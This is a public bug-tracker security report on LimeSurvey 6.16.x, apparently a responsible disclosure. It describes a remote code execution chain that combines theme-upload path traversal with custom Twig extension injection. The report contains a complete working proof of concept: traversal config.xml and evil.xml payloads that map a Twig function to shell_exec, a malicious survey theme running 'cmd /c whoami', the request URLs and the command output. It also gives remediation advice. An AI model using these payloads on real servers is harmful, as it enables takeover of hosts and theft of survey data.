View Issue Details

This issue affects 1 person(s).
 250
IDProjectCategoryView StatusLast Update
20494Bug reportsSecuritypublic2026-04-17 06:38
Reporterlavie3k Assigned To 
PrioritynoneSeverityfeature 
Status newResolutionopen 
Product Version6.16.x 
Summary20494: Conditional Remote Code Execution via Question Theme Path Traversal and Custom Twig Extension Injection
Description

LimeSurvey version 6.16.x contains a multi-stage attack chain that allows an authenticated SuperAdmin to achieve Remote Code Execution (RCE) on the underlying host operating system. The chain combines two independently existing weaknesses.

The first stage exploits a Path Traversal vulnerability in the Question Theme upload feature. The <name> field inside the config.xml of an uploaded theme ZIP is read raw and used directly as the destination directory path without any sanitization or canonicalization, enabling an attacker to write arbitrary files outside the intended upload/themes/question/ boundary — specifically into the upload/twig/extensions/ directory.

The second stage exploits the Custom Twig Extension loading mechanism. When the use_custom_twig_extensions option is enabled, the application scans upload/twig/extensions/ for XML manifest files and registers PHP callables — including dangerous built-in functions such as shell_exec — directly into the Twig template engine. Any survey .twig template that subsequently invokes one of these registered functions will trigger OS-level command execution.

Steps To Reproduce

1. Technical Analysis

1.1. Stage 1 — Path Traversal via Question Theme Upload

When a user uploads a Question Theme as a ZIP archive, LimeSurvey extracts its contents into a destination directory derived from the <name> field within the config.xml embedded in the archive. The application reads this value directly and constructs the target path without performing any validation, normalization, or containment checks.

The relevant source locations are as follows:

File Line Code action
Themes.php 309 Reads metadata.name from config.xml
Themes.php 310 Concatenates the value directly into the destination path
Themes.php 1448 Passes the directory name down to installer logic
Themes.php 1449 Returns the unvalidated theme name to the caller
QuestionThemeInstaller.php 34 Creates the destination path and extracts the ZIP into the resolved location

The existing ZIP content filter blocks files with a .php extension, preventing the direct write of a PHP webshell. However, this filter does not prevent the extraction of non-executable file types such as .xml outside the permitted directory tree.

File Line Code action
template_helper.php 130 Performs the file extension check against the blocked/allowed list
config-defaults.php 100 Defines the blocked and allowed theme upload extensions

By setting the <name> value to a path traversal sequence such as ..\..\twig\extensions\HelloWorld_Twig_Extension, an attacker can cause the ZIP extractor to write files directly into upload/twig/extensions/HelloWorld_Twig_Extension/, overwriting the XML manifest of any existing legitimate Twig extension.


1.2. Stage 2 — Custom Twig Extension Injection

When the use_custom_twig_extensions option is set to true, LimeSurvey initializes a scan of the upload/twig/extensions/ directory at application startup. Each XML manifest found in that location is parsed, and the declared PHP callables are registered as callable Twig functions inside the active Twig environment.

The relevant source locations are as follows:

File Line Code action
LSYii_Application.php 464 Checks the use_custom_twig_extensions flag
LSYii_Application.php 501 Scans the upload/twig/extensions/ directory
LSYii_Application.php 503 Parses the XML manifest for each extension
ETwigViewRenderer.php 231 Registers the function mapping with the Twig environment
ETwigViewRenderer.php 237 Registers the callable string without validation
LSETwigViewRenderer.php 841 Loads the extension class from the subdirectory
LSETwigViewRenderer.php 846 Instantiates the extension object

When the XML manifest is replaced with a malicious version that maps a Twig function name to shell_exec, the engine registers the mapping transparently without any restriction or allowlist check:

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <metadata>
    <name>HelloWorld_Twig_Extension</name>
    <title>lavie3k Function Carrier</title>
  </metadata>
  <sandboxConfig>
    <functions>
      <function twig-name="lavie3kpv" extension-name="phpversion" />
      <function twig-name="cmd"       extension-name="shell_exec"  />
    </functions>
  </sandboxConfig>
</config>

Note: The <name> field must remain HelloWorld_Twig_Extension because this is the > PHP class name that LimeSurvey attempts to instantiate. Changing it would cause the > extension to fail loading.

Once the extension is loaded, any .twig template file that invokes the registered function will trigger OS command execution:

{{ cmd('cmd /c whoami') }}

LimeSurvey supports a twig="on" attribute on the <description> field within a survey theme's config.xml. When this attribute is set, the description string is passed through the Twig renderer whenever the theme list page is loaded, providing a reliable and accessible template render sink to close the chain.


2. Required Conditions

All four conditions listed below must be simultaneously satisfied for the full attack chain to succeed.

Condition 1 — use_custom_twig_extensions = true:
This option must be explicitly enabled in the LimeSurvey configuration (typically in application/config/config.php or via the global settings table). This is the critical gating condition. The default value is false on standard installations; however, certain production environments enable it to support custom Twig functionality.

Condition 2 — SuperAdmin account access:
The attacker must be authenticated with SuperAdmin privileges to access the Themes management functionality and perform theme uploads.


3. Proof of Concept — Step-by-Step Reproduction

3.1. Configure the Target Environment

Ensure the LimeSurvey instance is running with the following option enabled:

// application/config/config.php
'use_custom_twig_extensions' => true,

3.2. Authenticate as SuperAdmin

Navigate to the login endpoint and authenticate using a SuperAdmin account:

http://<target>/index.php?r=admin/authentication/sa/login

3.3. Access the Themes Management Page

Navigate to:

http://<target>/index.php?r=themeOptions

Confirm the page renders the theme list without errors, establishing that the base application state is normal before exploitation begins.


3.4. Prepare question_chain.zip

This archive is the path traversal delivery vehicle. It contains two files.

config.xml — declares the traversal destination path:

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <metadata>
    <name>..\..\twig\extensions\lavie3k_ext_a9fa08c8</name>
    <description>question traversal into custom twig extension directory</description>
    <author>lavie3k</author>
    <license>MIT</license>
    <version>1.0</version>
    <type>question_theme</type>
  </metadata>
  <compatibility>
    <version>6.0</version>
  </compatibility>
</config>

The <name> field uses path traversal sequences (..\..\) to escape the intended extraction root at upload/themes/question/ and redirect extraction output into upload/twig/extensions/lavie3k_ext_a9fa08c8/.

evil.xml — the malicious extension manifest mapping shell_exec into Twig:

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <metadata>
    <name>HelloWorld_Twig_Extension</name>
    <title>lavie3k Function Carrier</title>
  </metadata>
  <sandboxConfig>
    <functions>
      <function twig-name="lavie3kpv" extension-name="phpversion" />
      <function twig-name="cmd"       extension-name="shell_exec"  />
    </functions>
  </sandboxConfig>
</config>

Expected ZIP structure:

question_chain.zip
├── config.xml    ← path traversal payload in <name>
└── evil.xml      ← malicious Twig extension manifest

3.5. Upload the Malicious Question Theme

From the Themes management page, select Upload and install question theme and submit question_chain.zip. On a successful upload (HTTP 200), the application extracts the archive into the path declared in <name>, writing files to:

upload/twig/extensions/lavie3k_ext_a9fa08c8/config.xml
upload/twig/extensions/lavie3k_ext_a9fa08c8/evil.xml

3.6. Trigger Extension Manifest Reload

Issue a GET request to:

http://<target>/index.php?r=themeOptions

This causes LSYii_Application to re-scan upload/twig/extensions/, discover the newly written manifest, and register the lavie3kpv (→ phpversion) and cmd (→ shell_exec) functions into the active Twig environment.


3.7. Prepare lavie3k_twigexec_probe.zip

This archive is a well-formed Survey Theme with a <description> field containing a Twig execution payload, rendered server-side when the theme list is loaded.

config.xml of the malicious survey theme:

<?xml version="1.0" encoding="UTF-8"?>
<config>
  <metadata>
    <name>lavie3k_twigexec_probe_a9fa08c8</name>
    <title>lavie3k_twigexec_probe_a9fa08c8</title>
    <type>theme</type>
    <extends>vanilla</extends>
    <creationDate>2026-04-17</creationDate>
    <author>lavie3k</author>
    <authorEmail>lavie3k@example.test</authorEmail>
    <authorUrl>http://example.test</authorUrl>
    <copyright>lavie3k</copyright>
    <license>MIT</license>
    <version>1.0</version>
    <apiVersion>3</apiVersion>
    <description twig="on">
      <![CDATA[TWIGFUNC={{ lavie3kpv() }} TWIGCMD={{ cmd('cmd /c whoami') }}]]>
    </description>
    <lastUpdate>2026-04-17 00:00:00</lastUpdate>
  </metadata>
  <compatibility>
    <version>6.0</version>
  </compatibility>
</config>

Expected ZIP structure:

lavie3k_twigexec_probe.zip
└── config.xml    ← survey theme with embedded Twig execution payload

3.8. Upload the Malicious Survey Theme

From the Themes management page, select Upload and install survey theme and submit lavie3k_twigexec_probe.zip. Once uploaded, the theme is registered in the application and its metadata — including the malicious <description> — is stored and ready to be evaluated.


3.9. Confirm RCE

Issue a GET request to:

http://<target>/index.php?r=themeOptions

The page renders the theme list and evaluates the description field through Twig. The HTTP response body will contain the output of the executed command:

TWIGFUNC=8.x.x TWIGCMD=desktop-rejndme\admin

When the payload is injected directly into a layout template such as layout_survey_list.twig, the response contains:

<div id="codex-rce-test">desktop-rejndme\admin
</div>

The output desktop-rejndme\admin is the result of whoami executed in the context of the PHP/web server process, confirming successful Remote Code Execution on the host system.

4. Attack Chain Diagram

Attacker (Authenticated SuperAdmin)
         │
         ▼
  ┌──────────────────────────────────────────────────┐
  │  STAGE 1 — Path Traversal                        │
  │                                                  │
  │  Upload question_chain.zip                       │
  │  └─ config.xml: <name> = ..\..\twig\extensions\  │
  │  └─ evil.xml  : maps cmd → shell_exec            │
  │                                                  │
  │  QuestionThemeInstaller.php (line 34)            │
  │  ↓ writes evil.xml to:                           │
  │    upload/twig/extensions/<dir>/evil.xml         │
  └──────────────────────────────────────────────────┘
         │
         ▼
  ┌──────────────────────────────────────────────────┐
  │  STAGE 2 — Twig Extension Injection              │
  │                                                  │
  │  GET /themeOptions                               │
  │  └─ LSYii_Application.php (line 501–503)         │
  │     scans upload/twig/extensions/                │
  │     parses evil.xml manifest                     │
  │  └─ ETwigViewRenderer.php (line 231–237)         │
  │     registers cmd() → shell_exec() in Twig       │
  └──────────────────────────────────────────────────┘
         │
         ▼
  ┌──────────────────────────────────────────────────┐
  │  STAGE 3 — Twig Render Sink                      │
  │                                                  │
  │  Upload lavie3k_twigexec_probe.zip               │
  │  └─ config.xml: <description twig="on">          │
  │       {{ cmd('cmd /c whoami') }}                 │
  │                                                  │
  │  GET /themeOptions                               │
  │  └─ Twig evaluates description field             │
  │  └─ shell_exec('cmd /c whoami') called           │
  └──────────────────────────────────────────────────┘
         │
         ▼
  ┌──────────────────────────────────────────────────┐
  │  RESULT — Remote Code Execution                  │
  │                                                  │
  │  Output: desktop-rejndme\admin                   │
  └──────────────────────────────────────────────────┘

5. Impact Assessment

Confidentiality — High:
An attacker with a successful exploit gains the ability to read any file accessible to the web server process. This includes database credentials, application secret keys, session data, and all survey response data stored on the filesystem or reachable via database connection strings.

Integrity — High:
The attacker can write, modify, or delete arbitrary files within the web server's accessible scope. This enables persistent backdoor installation, application source code modification, and configuration tampering that survives reboots.

Availability — High:
The attacker can terminate processes, delete critical files, exhaust system resources, or introduce application-level logic that permanently disrupts the service.

Although the attack chain requires SuperAdmin credentials, it remains a significant security concern from a defense-in-depth perspective. The principle of least privilege dictates that an application-level administrator role should never implicitly grant OS-level command execution capability through a legitimate application feature such as theme upload. Furthermore, in environments where multiple administrators exist or where admin credentials are shared, this vulnerability dramatically escalates the blast radius of any account compromise.


6. Remediation Recommendations

Priority — Critical:
Sanitize and validate the <name> value extracted from theme config.xml before using it as a filesystem path. Apply PHP realpath() or an equivalent normalization function and assert that the resulting path is strictly contained within the permitted extraction root. Reject any ZIP archive that contains entries with path traversal sequences (.., ../, ..\) in file or directory names.

Priority — Critical:
Redesign the Custom Twig Extension registration mechanism. Do not allow arbitrary PHP callable strings to be loaded from user-accessible XML manifest files. Require extensions to be installed via a package manager (e.g., Composer) and deployed outside the web root, eliminating the possibility of runtime manifest injection.

Priority — High:
Change the default value of use_custom_twig_extensions to false and clearly document in the official LimeSurvey security hardening guide that enabling this option in an environment with untrusted admin accounts carries a critical RCE risk.

Priority — High:
Restrict the file types permitted within uploaded theme ZIP archives to a strict allowlist (e.g., .twig, .css, .js, .png, .jpg, .gif, .svg). Explicitly deny .xml files whose paths resolve outside the expected theme subdirectory structure.

Priority — Medium:
Enforce a Twig sandbox policy with a strict function allowlist. Disable access to all PHP built-in functions from within Twig templates except those explicitly vetted for safe use. The TwigEnvironment::addSandboxExtension() API with a SecurityPolicy object can achieve
this.

Priority — Medium:
Audit all other ZIP upload endpoints in LimeSurvey for similar path traversal patterns, including survey template, plugin, and resource upload handlers.


7. References

Reference Line(s) Code action
application/libraries/Themes.php 309–310, 1448–1449 Raw use of metadata.name as a path and propagation of that value into the theme directory selection flow
application/helpers/common_helper/template_helper.php 130 Blocked extension filter
application/config/config-defaults.php 100 Blocked extension list
application/helpers/admin/theme/QuestionThemeInstaller.php 34 ZIP extraction into an unvalidated destination path
application/core/LSYii_Application.php 464, 501, 503 Custom Twig extension loading
application/extensions/ETwigViewRenderer/ETwigViewRenderer.php 231, 237 Callable registration into Twig
application/extensions/LSETwigViewRenderer/LSETwigViewRenderer.php 841, 846 Extension class load and instantiation
CWE-22 Improper Limitation of a Pathname to a Restricted Directory
CWE-94 Improper Control of Generation of Code
OWASP Path Traversal https://owasp.org/www-community/attacks/Path_Traversal
OWASP Code Injection https://owasp.org/www-community/attacks/Code_Injection
TagsNo tags attached.
Attached Files
question_chain.zip (646 bytes)
Bug heat250
Complete LimeSurvey version number (& build)LimeSurvey 6.16.x
I will donate to the project if issue is resolvedNo
Browser
Database type & versionMySQL / MariaDB
Server OS (if known)
Webserver software & version (if known)
PHP Version8.x

Users monitoring this issue

There are no users monitoring this issue.

Activities

Issue History

Date Modified Username Field Change
2026-04-17 06:38 lavie3k New Issue
2026-04-17 06:38 lavie3k File Added: question_chain.zip
2026-04-17 06:38 lavie3k File Added: lavie3k_twigexec_probe.zip